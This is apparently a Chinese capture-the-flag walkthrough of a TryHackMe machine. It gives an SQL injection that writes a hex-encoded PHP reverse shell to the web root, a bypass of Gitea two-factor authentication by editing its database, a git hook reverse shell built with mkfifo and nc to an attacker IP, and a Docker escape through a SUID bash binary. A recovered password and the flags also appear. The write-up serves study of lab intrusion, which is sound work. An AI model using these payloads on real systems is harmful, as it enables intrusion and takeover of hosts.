端口扫描

Web

获取了一些目录,但是里面也没什么有用的东西。找不到什么其他的了,那就抓个包看一下

发现有个cookie,照常理来说没有账号身份验证什么的为什么会有cookie呢。

一开始的想法是能不能伪造cookie,但是没有其他任何信息,伪造不了,任意更改cookie后会提示错误的序号,也许存在一个数据库查询,输入一个’后报错。

ordery by 发现只有两列

有回显了,数据库名称叫webapp

表名就叫queue

有两个列,一个ID一个序号

成功得到所有用户的ID和序号,也许我们就能伪造成其他用户了

嘶,但事实上证明拿到这些并没有什么用…

就算伪造也只有几号的界面罢了。。。

不会了,WP!!

Getshell

WP的方法是用SQL注入来写马到Web目录然后反弹shell

' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206578656328222F62696E2F62617368202D63202762617368202D69203E202F6465762F7463702F31302E31342E35322E31352F3132333420303E26312722293B203F3E-- -

通过16进制来写一个一句话PHP的反向shell到这个文件中

发现文件存在了!

开启监听,我们试着在浏览器中访问

成功

python3 -c "import pty;pty.spawn('/bin/bash')"

升级一下shell

我们发现就一个用户有bash环境,大概率要拿到他的shell

我们发现他家目录下有一个工作分析,我们还是有权限访问的,貌似是他尝试ssh登录root的日志吧

翻着翻着发现了一处奇怪的登录,貌似登录自己的账号了,我们可以合理怀疑后面那串就是他自己的密码Labr4d0rs4L1f3

直接ssh登录

user.txt

THM{OTE3MTQyNTM5NzRiN2VjNTQyYWM2M2Ji}

横向移动

找了一圈没有什么可以直接提权的二进制文件

发现了在这台机器的本地还开着一些其他端口,发现一个比较可疑的3000端口,为了我们能够访问,使用反向ssh隧道

ssh -L 3000:localhost:3000 dylan@10.10.35.186

kali中访问http://localhost:3000/

发现是一个Git service,试着用dylan的账号登录,发现有个TWO-Factor Authentication,然后就卡住了。WP的方法是删除数据库中的密码

cd至这个目录,用python现写一个脚本,用于删除这个目录下gitea.db中的two_factor

然后发现我们不用双重密码了

在这个仓库中的设置

可以你在githook中执行命令,githook就是在在执行了类似push,commit之类的git命令后自动执行的脚本

写上我们的反弹shell,updata,开启监听

随便更改一下readme.md的内容然后提交更改

发现报错了,也许是脚本出了问题,改用nc

mkfifo /tmp/f1;nc 10.14.52.15 1234 < /tmp/f1 | /bin/bash > /tmp/f1

在尝试,发现成功连接

提权(docker逃逸)

发现我们是git用户拥有所有权限,而且在docker中

发现根目录下的data目录和在dyaln那台机器上的/gitea目录一模一样,也许是同一个目录而且是连通的。创建的文件也是root所属

我们可以复制一个bash的二进制文件进去然后添加SUID,就可以给dylan用户使用了

cp /bin/bash /data/gitea/bash

chmod +s bash

结果发现docker中的bash文件好像用不了

只能从宿主机中先拷贝一个过去

dylan用户中

cp /bin/bash ./bash

在反向shell中

chown root:root bash

chmod +s bash

在dylan中,

./bash -p

成功提权

root.txt

THM{MzlhNGY5YWM0ZTU5ZGQ0OGI0YTc0OWRh}

碎碎念

前面拿用户的shell还算简单吧,第一次接触SQL注入来写shell,还行,还得多加练习。然后后面的步骤还是挺难的,对于git的考验,还不太熟练导致完全不会。接着就是docker逃逸,但是考的还算简单?